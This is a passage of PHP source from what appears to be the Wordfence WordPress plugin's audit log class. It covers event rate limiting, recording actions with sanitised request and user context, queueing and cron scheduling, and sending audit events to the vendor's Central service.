	 */
	public static function eventRateLimiters() {
		static $rateLimiterCache = null;
		if ($rateLimiterCache === null) {
			$rateLimiterCache = array();
			
			$observers = self::_observers();
			foreach ($observers as $o) {
				$rateLimiterCache = array_merge($rateLimiterCache, call_user_func(array($o, 'eventRateLimiters')));
			}
		}
		
		return $rateLimiterCache;
	}
	
	/**
	 * Consumes the rate limiter by setting a transient for the given $ttl. Currently this just allows a bucket of one,
	 * but this could be refactored in the future to allow variable rate limits.
	 * 
	 * @param string $event
	 * @param string $payloadSignature
	 * @param int $ttl Default is 10 minutes
	 */
	protected static function _rateLimiterConsume($event, $payloadSignature, $ttl = 600) {
		$key = 'wordfenceAuditEvent:' . $event . ':' . $payloadSignature;
		set_transient($key, time(), $ttl);
	}
	
	/**
	 * Returns whether or not the rate limiter is available. The return value is `true` if it is, otherwise `false`.
	 * 
	 * @param string $event
	 * @param string $payloadSignature
	 * @return bool
	 */
	protected static function _rateLimiterCheck($event, $payloadSignature) {
		$key = 'wordfenceAuditEvent:' . $event . ':' . $payloadSignature;
		return !get_transient($key);
	}
	
	/**
	 * Recursively computes a hash for the given payload in a deterministic way. This may be used in rate limiter
	 * implementations for deduplication checks.
	 * 
	 * @param mixed $payload
	 * @param null|HashContext $hasher
	 * @return bool|string
	 */
	protected static function _normalizedPayloadHash($payload, $hasher = null) {
		$first = is_null($hasher);
		if ($first) {
			$hasher = hash_init('sha256');
		}
		
		if (is_array($payload) || is_object($payload)) {
			$payload = (array) $payload;
			$keys = array_keys($payload);
			sort($keys, SORT_REGULAR);
			foreach ($keys as $k) {
				$v = $payload[$k];
				hash_update($hasher, $k);
				self::_normalizedPayloadHash($v, $hasher);
			}
		}
		else if (is_scalar($payload)) {
			hash_update($hasher, $payload);
		}
		
		if ($first) {
			return hash_final($hasher);
		}
		return true;
	}
	
	/**
	 * Returns an array of all observer groupings.
	 * 
	 * @return array
	 */
	private static function _observers() {
		return array(
			wfAuditLogObserversWordPressCoreUser::class,
			wfAuditLogObserversWordPressCoreSite::class,
			wfAuditLogObserversWordPressCoreMultisite::class,
			wfAuditLogObserversWordPressCoreContent::class,
			wfAuditLogObserversWordfence::class,
		);
	}
	
	/**
	 * Registers the observers for this class's chunk of functionality that should run regardless of other settings.
	 * These observers are expected to do their own check and application of settings like the audit log's mode or
	 * the `Participate in the Wordfence Security Network` setting.
	 *
	 * @param wfAuditLog $auditLog
	 */
	protected static function _registerForcedObservers($auditLog) {
		//Individual forced observer groupings may override this
	}
	
	/**
	 * Registers the observers for this class's chunk of functionality.
	 *
	 * @param wfAuditLog $auditLog
	 */
	protected static function _registerObservers($auditLog) {
		//Individual observer groupings will override this
	}
	
	/**
	 * Registers the data gatherers for this class's chunk of functionality. These are secondary hooks to support 
	 * intermediate data gathering (e.g., grabbing the user attempting to authenticate even if it fails)
	 *
	 * @param wfAuditLog $auditLog
	 */
	protected static function _registerDataGatherers($auditLog) {
		//Individual data gatherer groupings will override this
	}
	
	/**
	 * Registers the coalescers for this class's chunk of functionality.
	 *
	 * @param wfAuditLog $auditLog
	 */
	protected static function _registerCoalescers($auditLog) {
		//Individual coalescer groupings will override this
	}
	
	public static function heartbeat() {
		if (wfAuditLog::shared()->mode() != wfAuditLog::AUDIT_LOG_MODE_DISABLED && wfAuditLog::shared()->mode() != wfAuditLog::AUDIT_LOG_MODE_PREVIEW) {
			wfAuditLog::shared()->_recordAction(self::AUDIT_LOG_HEARTBEAT);
		}
	}
	
	/**
	 * Returns the effective audit log mode after factoring in the active license type and resolving the default based 
	 * on that type. Will be one of the wfAuditLog::AUDIT_LOG_MODE_* constants that is not AUDIT_LOG_MODE_DEFAULT.
	 * 
	 * @return string
	 */
	public function mode() {
		require(__DIR__ . '/wfVersionSupport.php'); /** @var $wfFeatureWPVersionAuditLog */
		require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */
		if (version_compare($wp_version, $wfFeatureWPVersionAuditLog, '<')) {
			return self::AUDIT_LOG_MODE_DISABLED;
		}
		
		$mode = wfConfig::get('auditLogMode', self::AUDIT_LOG_MODE_DEFAULT);
		$license = wfLicense::current();
		if (!$license->isPaidAndCurrent() || !$license->isAtLeastPremium()) {
			if ($mode == self::AUDIT_LOG_MODE_DISABLED) {
				return $mode;
			}
			return self::AUDIT_LOG_MODE_PREVIEW;
		}
		
		if ($mode == self::AUDIT_LOG_MODE_DEFAULT) {
			if (!$license->isAtLeastCare()) {
				return self::AUDIT_LOG_MODE_PREVIEW;
			}
			
			return self::AUDIT_LOG_MODE_SIGNIFICANT;
		}
		
		return $mode;
	}
	
	public function registerHooks() {
		self::$initialMode = $this->mode();
		
		require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */
		self::$initialCoreVersion = $wp_version;
		
		$observers = self::_observers();
		foreach ($observers as $o) {
			call_user_func(array($o, '_registerForcedObservers'), $this);
		}
		
		if ($this->mode() == self::AUDIT_LOG_MODE_DISABLED) {
			return;
		}
		
		if ($this->mode() == self::AUDIT_LOG_MODE_PREVIEW) { //When in preview mode, we register the local-only observers to keep the preview data fresh locally
			wfAuditLogObserversPreview::_registerObservers($this);
			wfAuditLogObserversPreview::_registerDataGatherers($this);
			wfAuditLogObserversPreview::_registerCoalescers($this);
			return;
		}
		
		foreach ($observers as $o) {
			call_user_func(array($o, '_registerObservers'), $this);
			call_user_func(array($o, '_registerDataGatherers'), $this);
			call_user_func(array($o, '_registerCoalescers'), $this);
		}
	}
	
	/**
	 * Convenience method to add a listener for one or more WordPress hooks. This simplifies the normal flow of adding
	 * a listener by using introspection on the passed callable to pass the correct arguments.
	 * 
	 * @param array|string $hooks
	 * @param callable $closure
	 * @param string $type
	 */
	protected function _addObserver($hooks, $closure, $type = 'action') {
		if (!is_array($hooks)) {
			$hooks = array($hooks);
		}
		
		try {
			$introspection = new ReflectionFunction($closure);
			if ($type == 'action') {
				foreach ($hooks as $hook) {
					add_action($hook, $closure, 1, $introspection->getNumberOfParameters());
				}
			}
			else if ($type == 'filter') {
				foreach ($hooks as $hook) {
					add_filter($hook, $closure, 1, $introspection->getNumberOfParameters());
				}
			}
		}
		catch (Exception $e) {
			//Ignore
		}
	}
	
	protected function _addCoalescer($closure) {
		$this->_coalescers[] = $closure;
	}
	
	/**
	 * Returns whether or not a state value exists for the given key/blog pair.
	 * 
	 * @param string $key
	 * @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID.
	 * @return bool
	 */
	protected function _hasState($key, $id = 1) {
		if ($id < 0) {
			$id = 0;
		}
		
		if (!isset($this->_state[$id])) {
			return false;
		}
		
		return isset($this->_state[$id][$key]);
	}
	
	/**
	 * Stores a state value under the key/blog pair for later use in this request.
	 * 
	 * @param string $key
	 * @param mixed $value
	 * @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID.
	 */
	protected function _trackState($key, $value, $id = 1) {
		if ($id < 0) {
			$id = 0;
		}
		
		if (!isset($this->_state[$id])) {
			$this->_state[$id] = array();
		}
		
		$this->_state[$id][$key] = $value;
	}
	
	/**
	 * Returns the state value for the key/blog pair if present, otherwise null.
	 * 
	 * @param string $key
	 * @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID.
	 * @return mixed|null
	 */
	protected function _getState($key, $id = 1) {
		if ($id < 0) {
			$id = 0;
		}
		
		if (!isset($this->_state[$id]) || !isset($this->_state[$id][$key])) {
			return null;
		}
		
		return $this->_state[$id][$key];
	}
	
	/**
	 * Returns all site(s)' state values for $key if present. They keys in the returned array are the blog ID.
	 * 
	 * @param string $key
	 * @return array Will have at most 1 entry for single-site, potentially many for multisite when applicable.
	 */
	protected function _getAllStates($key) {
		$result = array();
		foreach ($this->_state as $id => $state) {
			if (isset($state[$key])) {
				$result[$id] = $state[$key];
			}
		}
		return $result;
	}
	
	/**
	 * Record the action and metadata for later sending to the audit log.
	 * 
	 * @param string $action
	 * @param array $metadata
	 * @param bool $appendToExisting When true, does not create a new entry and instead only appends to entries of the same $action
	 */
	protected function _recordAction($action, $metadata = array(), $appendToExisting = false) {
		$rateLimiters = self::eventRateLimiters();
		if (isset($rateLimiters[$action])) {
			if (!$rateLimiters[$action]($this, $metadata)) {
				return;
			}
		}
		
		if ($appendToExisting) {
			foreach ($this->_pending as &$entry) {
				if ($entry['action'] == $action) {
					$entry['metadata'] = array_merge($entry['metadata'], $metadata);
				}
			}
			return;
		}
		
		$path = null;
		$body = null;
		if (@php_sapi_name() === 'cli' || !array_key_exists('REQUEST_METHOD', $_SERVER)) {
			if (isset($_SERVER['argv']) && is_array($_SERVER['argv']) && count($_SERVER['argv']) > 0) {
				$path = $_SERVER['argv'][0] . ' ' . implode(' ', array_map(function($p) { return '\'' . addcslashes($p, '\'') . '\''; }, array_slice($_SERVER['argv'], 1)));
				$body = array('type' => 'cli', 'files' => array(), 'parameters' => array('argv' => $_SERVER['argv']));
			}
			$method = 'CLI';
		}
		else {
			$path = $_SERVER['REQUEST_URI'];
			$method = $_SERVER['REQUEST_METHOD'];
			if ($_SERVER['REQUEST_METHOD'] != 'GET') {
				$body = $this->_sanitizeRequestBody();
			}
		}
		
		$user = wp_get_current_user();
		$entry = array(
			'action' => $action,
			'time' => wfUtils::normalizedTime(),
			'metadata' => $metadata,
			'context' => array(
				'ip' => wfUtils::getIP(),
				'path' => $path,
				'method' => $method,
				'body' => $body,
				'user_id' => $user ? $user->ID : 0,
				'userdata' => $this->_sanitizeUserdata($user),
			),
		);
		
		if (is_multisite()) {
			$network = get_network();
			$blog = get_blog_details();
			$entry['multisite'] = $this->_sanitizeMultisiteData($network, $blog);
		}
		
		$this->_pending[] = $entry;
		
		$this->_needsDestruct();
	}
	
	/**
	 * Finalizes the pending actions. If cron is disabled or one of the types is on the immedate send list, they are 
	 * finalized by immediately sending to the audit log. Otherwise, they are saved to the intermediate storage table 
	 * and a send is scheduled.
	 */
	private function _savePending() {
		if (!empty($this->_pending)) {
			$sendImmediately = false;
			$immediateSend = self::immediateSendEvents();
			$payload = array();
			foreach ($this->_pending as $data) {
				$time = $data['time'];
				unset($data['time']);
				
				if ($data['action'] == self::AUDIT_LOG_HEARTBEAT) { //Minimize payload for heartbeat
					$payload[] = array(
						'type' => $data['action'],
						'data' => array(),
						'event_time' => $time,
					);
				}
				else {
					$payload[] = array(
						'type' => $data['action'],
						'data' => $data,
						'event_time' => $time,
					);
				}
				
				$sendImmediately = ($sendImmediately || in_array($data['action'], $immediateSend));
			}
			
			if (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) {
				$sendImmediately = true;
			}
			
			if ($sendImmediately && !wfCentral::isConnected()) {
				$this->_saveEventsToTable($payload);
				if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
					$this->_unscheduleSendPendingAuditEvents($ts);
				}
				$this->_scheduleSendPendingAuditEvents();
				$this->_pending = array();
				return;
			}
			
			$before = $payload;
			if ($sendImmediately) {
				$requestID = wfConfig::atomicInc('auditLogRequestNumber');
				
				foreach ($payload as &$p) {
					$p['data'] = json_encode($p['data']);
					$p['request_id'] = $requestID;
				}
			}
			
			try {
				if ($this->_sendAuditLogEvents($payload, $sendImmediately)) {
					$this->_pending = array();
				}
			}
			catch (wfAuditLogSendFailedException $e) {
				if ($sendImmediately) {
					$this->_saveEventsToTable($before);
					if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
						$this->_unscheduleSendPendingAuditEvents($ts);
					}
					$this->_scheduleSendPendingAuditEvents(true);
					$this->_pending = array();
				}
			}
		}
	}
	
	protected function _needsDestruct() {
		if (!$this->_destructRegistered) {
			register_shutdown_function(array($this, '_lastAction'));
			$this->_destructRegistered = true;
		}
	}
	
	/**
	 * Performed as a shutdown handler to finalize all pending actions.
	 * 
	 * Note: must remain `public` for PHP 7 compatibility
	 */
	public function _lastAction() {
		global $wpdb;
		$suppressed = $wpdb->suppress_errors(!(defined('WFWAF_DEBUG') && WFWAF_DEBUG));
		
		$this->_performingFinalization = true;
		foreach ($this->_coalescers as $c) {
			call_user_func($c);
		}
		$this->_coalescers = array();
		$this->_savePending();
		$this->_performingFinalization = false;
		
		$wpdb->suppress_errors($suppressed);
	}
	
	public function isFinalizing() {
		return $this->_performingFinalization;
	}
	
	/**
	 * Performs the actual send of $events to the audit log if $sendImmediately is truthy, otherwise it writes them to
	 * the intermediate storage table and schedules a send.
	 * 
	 * @param array $events
	 * @param bool $sendImmediately
	 * @return bool
	 * @throws wfAuditLogSendFailedException
	 */
	private function _sendAuditLogEvents($events, $sendImmediately = false) {
		if (empty($events)) {
			return true;
		}
		
		if (!wfCentral::isConnected()) {
			return false; //This will cause it to mark them as unsent and try again later
		}
		
		if ($sendImmediately) {
			$payload = array();
			foreach ($events as $e) {
				$payload[] = self::_formatEventForTransmission($e);
			}
			
			$siteID = wfConfig::get('wordfenceCentralSiteID');
			$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/audit-log', 'POST', array(
				'data' => $payload,
			));
			try {
				$doing_cron = function_exists('wp_doing_cron') /* WP >= 4.8 */ ? wp_doing_cron() : (defined('DOING_CRON') && DOING_CRON);
				$response = $request->execute($doing_cron ? 10 : 3);
				
				if ($response->isError()) {
					throw new wfAuditLogSendFailedException();
				}
				
				//Group by request and update the local preview
				$preview = array();
				foreach ($payload as $r) {
					if (!isset($preview[$r['attributes']['request_id']])) {
						$preview[$r['attributes']['request_id']] = array();
					}
					$preview[$r['attributes']['request_id']][] = array($r['attributes']['type'], $r['attributes']['event_time']);
				}
				uksort($preview, function($k1, $k2) {
					if ($k1 == $k2) { return 0; }
					return ($k1 < $k2) ? 1 : -1;
				});
				$this->_updateAuditPreview(array_values($preview));
			}
			catch (Exception $e) {
				if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) { wfCentralAPIRequest::handleInternalCentralAPIError($e); }
				throw new wfAuditLogSendFailedException();
			}
			catch (Throwable $t) {
				if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) { wfCentralAPIRequest::handleInternalCentralAPIError($t); }
				throw new wfAuditLogSendFailedException();
			}
		}
		else {
			$this->_saveEventsToTable($events, $sendImmediately);
			
			if (($ts = $this->_isScheduledAuditEventCronOverdue()) || $sendImmediately) {
				if ($ts) {
					$this->_unscheduleSendPendingAuditEvents($ts);
				}
				self::sendPendingAuditEvents();
			}
			else {
				$this->_scheduleSendPendingAuditEvents();
			}
		}
		
		return true;
	}
	
	private function _saveEventsToTable($events, &$sendImmediately = false) {
		$requestID = wfConfig::atomicInc('auditLogRequestNumber');
		
		$wfdb = new wfDB();
		$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
		$query = "INSERT INTO {$table_wfAuditEvents} (`type`, `data`, `event_time`, `request_id`, `state`, `state_timestamp`) VALUES ";
		$query .= implode(', ', array_fill(0, count($events), "('%s', '%s', %f, %d, 'new', NOW())"));
		
		$immediateSendTypes = self::immediateSendEvents();
		$args = array();
		foreach ($events as $e) {
			$sendImmediately = $sendImmediately || in_array($e['type'], $immediateSendTypes);
			$args[] = $e['type'];
			$args[] = json_encode($e['data']);
			$args[] = $e['event_time'];
			$args[] = $requestID;
		}
		$wfdb->queryWriteArray($query, $args);
	}
	
	/**
	 * Sends any pending audit events up to the limit (default 100). The list will automatically expand if needed to include 
	 * only complete requests so that no partial requests are sent.
	 * 
	 * If the events fail to send or there are more remaining, another future send will be scheduled if $scheduleFollowup is truthy.
	 * 
	 * @param int $limit
	 * @param bool $scheduleFollowup Whether or not to schedule a followup send if there are more events pending, if false also unschedules any pending cron
	 */
	public static function sendPendingAuditEvents($limit = 100, $scheduleFollowup = true) {
		$wfdb = new wfDB();
		$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
		
		$limit = intval($limit);
		$rawEvents = $wfdb->querySelect("SELECT * FROM {$table_wfAuditEvents} WHERE `state` = 'new' ORDER BY `id` ASC LIMIT {$limit}");
		if (empty($rawEvents)) {
			return;
		}
		
		//Grab the entirety of the last request ID, even if it's beyond the 100 item limit
		$last = wfUtils::array_last($rawEvents);
		$extendedID = (int) $last['id'];
		$extendedRequestID = (int) $last['request_id'];
		$extendedEvents = $wfdb->querySelect("SELECT * FROM {$table_wfAuditEvents} WHERE `state` = 'new' AND `id` > {$extendedID} AND `request_id` = {$extendedRequestID} ORDER BY `id` ASC");
		$rawEvents = array_merge($rawEvents, $extendedEvents);
		
		//Process for submission
		$ids = array();
		foreach ($rawEvents as $r) {
			$ids[] = intval($r['id']);
		}
		
		$idParam = '(' . implode(', ', $ids) . ')';
		$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'sending', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
		try {
			if (self::shared()->_sendAuditLogEvents($rawEvents, true)) {
				$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'sent', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
				
				if ($scheduleFollowup) {
					self::checkForUnsentAuditEvents();
				}
			}
			else {
				$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
				if ($scheduleFollowup) {
					self::shared()->_scheduleSendPendingAuditEvents();
				}
			}
			
			if (!$scheduleFollowup) {
				if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
					self::shared()->_unscheduleSendPendingAuditEvents($ts);
				}
			}
		}
		catch (wfAuditLogSendFailedException $e) {
			$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
			if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
				self::shared()->_unscheduleSendPendingAuditEvents($ts);
			}
			
			if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) {
				self::shared()->_scheduleSendPendingAuditEvents(true);
			}
		}
	}
	
	/**
	 * Formats the event record for transmission to Central for recording.
	 * 
	 * @param array $rawEvent
	 * @return array
	 */
	private static function _formatEventForTransmission($rawEvent) {
		if ($rawEvent['type'] == self::AUDIT_LOG_HEARTBEAT) { //Minimize payload for heartbeat
			return array(
				'type' => 'audit-event',
				'attributes' => array(
					'type' => $rawEvent['type'],
					'event_time' => (int) $rawEvent['event_time'],
					'request_id' => (int) $rawEvent['request_id'],
				)
			);
		}
		
		$data = json_decode($rawEvent['data'], true);
		if (empty($data)) { $data = array(); }
		unset($data['action']);
		$username = null; if (!empty($data['context']['userdata']) && isset($data['context']['userdata']['user_login'])) { $username = $data['context']['userdata']['user_login']; }
		$ip = null; if (!empty($data['context']['ip'])) { $ip = $data['context']['ip']; unset($data['context']['ip']); }
		$path = null; if (!empty($data['context']['path'])) { $path = $data['context']['path']; unset($data['context']['path']); }
		$method = null; if (!empty($data['context']['method'])) { $method = $data['context']['method']; unset($data['context']['method']); }
		$body = null; if (!empty($data['context']['body'])) { $body = $data['context']['body']; unset($data['context']['body']); }
		
		return array(
			'type' => 'audit-event',
			'attributes' => array(
				'type' => $rawEvent['type'],
				'username' => $username,
				'ip_address' => $ip,
				'method' => $method,
				'path' => $path,
				'request_body' => $body,
				'data' => $data,
				'event_time' => (int) $rawEvent['event_time'],
				'request_id' => (int) $rawEvent['request_id'],
			)
		);
	}
	
	/**
	 * Schedules a cron for sending pending audit events.
	 */
	private function _scheduleSendPendingAuditEvents($forceDelay = false) {
		if ((self::$initialMode == self::AUDIT_LOG_MODE_DISABLED || self::$initialMode == self::AUDIT_LOG_MODE_PREVIEW) && ($this->mode() == self::AUDIT_LOG_MODE_DISABLED || $this->mode() == self::AUDIT_LOG_MODE_PREVIEW)) {
			return; //Do not schedule cron if mode is disabled/preview and was not recently put into that state
		}
		
		$delay = 60;
		if ($forceDelay || !wfCentral::isConnected()) {
			$delay = 3600;
		}
		
		if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
		$notMainSite = is_multisite() && !is_main_site();
		if ($notMainSite) {
			global $current_site;
			switch_to_blog($current_site->blog_id);
		}
		if (!wp_next_scheduled('wordfence_batchSendAuditEvents')) {
			wp_schedule_single_event(time() + $delay, 'wordfence_batchSendAuditEvents');
		}
		if ($notMainSite) {
			restore_current_blog();
		}
	}
	
	/**
	 * @param int $timestamp
	 */
	private function _unscheduleSendPendingAuditEvents($timestamp) {
		if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
		$notMainSite = is_multisite() && !is_main_site();
		if ($notMainSite) {
			global $current_site;
			switch_to_blog($current_site->blog_id);
		}
		if ($timestamp) {
			wp_unschedule_event($timestamp, 'wordfence_batchSendAuditEvents');
		}
		if ($notMainSite) {
			restore_current_blog();
		}
	}
	
	private function _isScheduledAuditEventCronOverdue() {
		if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
		$notMainSite = is_multisite() && !is_main_site();
		if ($notMainSite) {
			global $current_site;
			switch_to_blog($current_site->blog_id);
		}
		
		$overdue = false;
		if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
			if ((time() - $ts) > 900) {
				$overdue = $ts;
			}
		}
		
		if ($notMainSite) {
			restore_current_blog();
		}
		
		return $overdue;
	}
	
	public static function checkForUnsentAuditEvents() {
		$wfdb = new wfDB();
		$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
		$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `state` = 'sending' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 30 MINUTE)");
		
		$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents} WHERE `state` = 'new'");
		if ($count) {
			self::shared()->_scheduleSendPendingAuditEvents();
		}
	}
	
	public static function trimAuditEvents() {
		$wfdb = new wfDB();
		$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
		$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents}");
		if ($count > 1000) {
			$wfdb->truncate($table_wfAuditEvents); //Similar behavior to other logged data, assume possible DoS so truncate
		}
		else if ($count > 100) {
			$wfdb->queryWrite("DELETE FROM {$table_wfAuditEvents} ORDER BY id ASC LIMIT %d", $count - 100);
		}
		else if ($count > 0) {
			$wfdb->queryWrite("DELETE FROM {$table_wfAuditEvents} WHERE (`state` = 'sending' OR `state` = 'sent') AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 1 DAY)");
		}
	}
	
	public static function hasOverdueEvents() {
		$wfdb = new wfDB();
		$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
		$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents} WHERE `state` = 'new' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 2 DAY)");
		return $count > 0;
	}
	
	/**
	 * Updates the locally-stored audit preview data that is used to populate the audit log page. The preview data is
	 * stored in descending order.
	 * 
	 * @param array $events Structure is [
	 * 										[ //Request 1
	 * 											[<event type>, <timestamp>],
	 * 											[<event type>, <timestamp>],
	 * 											[<event type>, <timestamp>],
	 * 										],
	 * 										[ //Request 2
	 * 											[<event type>, <timestamp>],
	 * 										],
	 * 										...
	 * 									]
	 */
	protected function _updateAuditPreview($events) {
		$filtered = array();
		foreach ($events as $request) {
			$request = array_filter($request, function($e) {
				return $e[0] != self::AUDIT_LOG_HEARTBEAT; //Don't save heartbeats to the local preview
			});
			if (!empty($request)) {
				$filtered[] = $request;
			}
		}
		$events = $filtered;
		if (empty($events)) { return; }
		
		$existing = wfConfig::get_ser('lastAuditEvents', array());
		if (!is_array($existing)) {
			$existing = array();
		}
		
		$lastAuditEvents = array_merge($events, $existing);
		usort($lastAuditEvents, function($a, $b) {
			$aMax = array_reduce($a, function($carry, $item) {
				return max($carry, $item[1]);
			}, 0);
			$bMax = array_reduce($b, function($carry, $item) {
				return max($carry, $item[1]);
			}, 0);
			if ($aMax == $bMax) { return 0; }
			return ($aMax < $bMax) ? 1 : -1;
		});
		
		$lastAuditEvents = array_slice($lastAuditEvents, 0, self::AUDIT_LOG_MAX_SAMPLES);
		wfConfig::set_ser('lastAuditEvents', $lastAuditEvents);
	}
	
	/**
	 * Returns a summary array of recent events for the audit log. The content of this array will be the most recent
	 * `AUDIT_LOG_MAX_SAMPLES` requests that were sent (or would have been sent if enabled) to Wordfence Central.
	 * 
	 * @return array
	 */
	public function auditPreview() {
		$requests = array_filter(wfConfig::get_ser('lastAuditEvents', array()), function($events) {
			return !empty($events);
		});
		
		$data = array();
		if (is_array($requests)) {
			$data['requests'] = array();
			foreach ($requests as $r) {
				$events = array_map(function($e) {
					return array(
						'ts' => $e[1],
						'event' => $e[0],
						'name' => self::eventName($e[0]),
						'category' => self::eventCategory($e[0]),
					);
				}, $r);
				
				$types = array_reduce($events, function($carry, $e) { //We'll use the most common category if a request covers multiple
					if (!isset($carry[$e['category']])) {
						$carry[$e['category']] = 0;
					}
					$carry[$e['category']]++;
					return $carry;
				}, array());
				asort($types, SORT_NUMERIC);
				
				$timestamp = array_reduce($events, function($carry, $e) {
					if ($e['ts'] > $carry) {
						return $e['ts'];
					}
					return $carry;
				}, 0);
				
				$data['requests'][] = array(
					'ts' => $timestamp,
					'category' => array_keys($types),
					'events' => $events,
				);
			}
		}
		
		return $data;
	}
	
	/**************************************
	 * Utility Functions
	 **************************************/
	
	private function _sanitizeRequestBody() {
		$input = wfUtils::rawPOSTBody();
		$contentType = null;
		if (isset($_SERVER['CONTENT_TYPE'])) {
			$contentType = strtolower($_SERVER['CONTENT_TYPE']);
			$boundary = strpos($contentType, ';');
			if ($boundary !== false) {
				$contentType = substr($contentType, 0, $boundary);
			}
		}
		
		$raw = null;
		$response = array('type' => null, 'parameters' => array(), 'files' => array());
		switch ($contentType) {
			case 'application/json':
				try {
					$raw = json_decode($input, true, 512, JSON_OBJECT_AS_ARRAY);
					$response['type'] = 'json';
				}
				catch (Exception $e) {
					//Ignore -- can throw on PHP 8+
				}
				break;
			case 'multipart/form-data': //PHP has already parsed this into $_POST and $_FILES
				$response['type'] = 'multipart';
				foreach ($_FILES as $k => $f) {
					$response['files'][] = array(
						'name' => $f['name'],
						'type' => $f['type'],
						'size' => $f['size'],
						'error' => $f['error'],
					);
				}
				$raw = $_POST;
				break;
			default: //Typically application/x-www-form-urlencoded
				if ($input) {
					parse_str($input, $raw);
					$response['type'] = 'urlencoded';
				}
				break;
		}
		
		if (!empty($raw)) {
			foreach ($raw as $k => $v) {
				$response['parameters'][$k] = null;
				if ($k == 'action' || //Used in admin-ajax and many other WP calls, typically relevant for auditing and not sensitive
					$k == 'id' || //Typically the record ID being affected
					$k == 'log' //Authentication username
				) {
					$response['parameters'][$k] = $v;
				}
				// else if -- future full value captures go here, otherwise we just capture the parameter name for privacy reasons
			}
			return $response;
		}
		
		return null;
	}
	
	/**
	 * Returns the desired fields from $userdata for the various user-related hooks, ignoring the rest. Returns null if
	 * there is no valid user.
	 * 
	 * @param array|object|WP_User $userdata
	 * @param null|int $user_id Used when provided, otherwise extracted from $userdata when possible
	 * @return array|null
	 */
	protected function _sanitizeUserdata($userdata, $user_id = null) {
		if ($userdata === null && $user_id !== null) { //May hit this on older WP versions where $userdata wasn't populated by the hook call
			$userdata = get_user_by('ID', $user_id);
		}
		
		$roles = array();
		if ($userdata instanceof stdClass) {
			$user = new WP_User($user_id !== null ? $user_id : (isset($userdata->ID) ? $userdata->ID : 0));
			if ($user->exists()) {
				$roles = $user->roles;
			}
			$userdata = get_object_vars( $userdata );
		} 
		else if ($userdata instanceof WP_User) {
			$roles = $userdata->roles;
			$userdata = $userdata->to_array();
		}
		else {
			$user = new WP_User($user_id !== null ? $user_id : (isset($userdata['ID']) ? $userdata['ID'] : 0));
			if (!$user) {
				return array(
					'user_id' => 0,
					'user_login' => '',
					'user_roles' => array(),
				);
			}
			
			if ($user->exists()) {
				$roles = $user->roles;
			}
		}
		
		return array(
			'user_id' => $user_id !== null ? $user_id : (isset($userdata['ID']) ? $userdata['ID'] : 0),
			'user_login' => isset($userdata['user_login']) ? $userdata['user_login'] : '',
			'user_roles' => $roles,
		);
	}
	
	protected function _userdataDiff($userdata1, $userdata2) {
		if ($userdata1 instanceof stdClass) {
			$userdata1 = get_object_vars( $userdata1 );
		}
		else if ($userdata1 instanceof WP_User) {
			$userdata1 = $userdata1->to_array();
		}
		
		if ($userdata2 instanceof stdClass) {
			$userdata2 = get_object_vars( $userdata2 );
		}
		else if ($userdata2 instanceof WP_User) {
			$userdata2 = $userdata2->to_array();
		}
		
		return wfUtils::array_diff_assoc($userdata1, $userdata2);
	}
	
	/**
	 * Returns the desired fields for the multisite ignoring the rest.
	 * 
	 * @param WP_Network|false $network
	 * @param WP_Site|false $blog
	 * @return array
	 */
	protected function _sanitizeMultisiteData($network, $blog) {
		$result = array();
		
		if ($network) {
			$result['network_id'] = $network->id;
			$result['network_domain'] = $network->domain;
			$result['network_path'] = $network->path;
			$result['network_name'] = $network->site_name;
		}
		
		if ($blog) {
			$result['blog_id'] = $blog->blog_id;
			$result['blog_domain'] = $blog->domain;
			$result['blog_path'] = $blog->path;
			$result['blog_name'] = $blog->blogname;
		}
		
		return $result;
	}
	
	protected function _multisiteDiff($blog1, $blog2) {
		if ($blog1 instanceof WP_Site) {
			$blog1 = $this->_sanitizeMultisiteData(false, $blog1);
		}
		
		if ($blog2 instanceof WP_Site) {
			$blog2 = $this->_sanitizeMultisiteData(false, $blog2);
		}
		
		return wfUtils::array_diff_assoc($blog1, $blog2);
	}
	
	/**
	 * Returns the desired fields from an app password record.
	 *
	 * @param array|object $item
	 * @return array
	 */
	protected function _sanitizeAppPassword($item) {
		if ($item instanceof stdClass) {
			$item = get_object_vars($item);
		}
		
		return array(
